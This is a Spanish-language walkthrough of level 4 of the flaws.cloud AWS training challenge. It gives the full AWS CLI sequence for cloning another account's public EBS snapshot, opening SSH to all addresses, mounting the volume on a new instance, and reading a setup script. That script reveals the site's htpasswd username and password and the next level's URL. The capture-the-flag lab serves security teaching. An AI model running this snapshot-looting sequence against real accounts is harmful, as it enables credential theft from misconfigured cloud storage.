Level 4
http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/
Se nos proporciona la url de un ec2 :
https://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
Nos pide iniciar sesión
aws sts get-caller-identity --profile ctfBuscamos EBs por el OwnerID del usuario :
aws --profile ctf ec2 describe-snapshots --owner-id 975426262029Con el snapshot ID ahora podemos crear un volumen, lo haremos usando nuestro profile, tenemos que crearnos un profile para nosotros, para crearnos un profile tenemos que usar una cuenta IAM , no se puede con la cuenta root:
Una vez que estamos autenticados como la cuenta IAM, creamos unas credenciales de acceso para nosotros y abrimos la consola:
aws configure --profile ctf2aws sts get-caller-identity --profile ctf2Nos clonamos el snapshot
aws --profile ctf2 ec2 create-volume \
--availability-zone us-west-2a \
--region us-west-2 \
--snapshot-id snap-0b49342abd1bdcb89# 1. Crea la llave y guarda el material en un archivo .pem
aws --profile ctf2 --region us-west-2 ec2 create-key-pair --key-name mi-llave-ctf2 --query 'KeyMaterial' --output text > mi-llave-ctf3.pem
# 2. Asegura los permisos del archivo (obligatorio para SSH)
chmod 400 mi-llave-ctf2.pem# 1. Crea el grupo de seguridad
aws --profile ctf2 ec2 create-security-group \
--group-name mi-sg-ssh \
--description "Permitir SSH" \
--region us-west-2# 2. Añade la regla para permitir SSH desde tu IP
aws --profile ctf2 ec2 authorize-security-group-ingress \
--group-id sg-0976d62573ffca700 \
--protocol tcp \
--port 22 \
--cidr 0.0.0.0/0 \
--region us-west-2# 1. Busca el ID de la AMI más reciente de Amazon Linux (para us-west-2)
AMI_ID=$(aws --profile ctf2 ssm get-parameter \
--name /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 \
--region us-west-2 \
--query 'Parameter.Value' \
--output text)
echo "Usando AMI ID: $AMI_ID"
# 2. Lanza la instancia
aws --profile ctf2 ec2 run-instances \
--image-id $AMI_ID \
--instance-type t2.micro \
--key-name mi-llave-ctf2 \
--security-group-ids sg-0976d62573ffca700 \
--placement AvailabilityZone=us-west-2a \
--region us-west-2Nos vamos a us-west-2 y copiamos el id de instancia : i-08407307f83f7736a y el id de volumen y lo adjuntamos:
echo "Adjuntando volumen..."
aws --profile ctf2 ec2 attach-volume \
--volume-id vol-02e547a566c566de5 \
--instance-id i-08407307f83f7736a \
--device /dev/sdf \
--region us-west-2Extraemos el dns público
aws --profile ctf2 ec2 describe-instances \
--instance-ids i-08407307f83f7736a \
--query 'Reservations[0].Instances[0].PublicDnsName' \
--output text \
--region us-west-2Nos conectamos
ssh -i "mi-llave-ctf2.pem" ec2-user@ec2-35-93-50-69.us-west-2.compute.amazonaws.comMontamos el volumen
sudo lsblk
sudo mount /dev/xvdf1 /mnt/data
ls /mnt/dataEL usuario y la contraseña estará en_
cd /mnt/data/home/ubuntucat setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8Mhttp://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/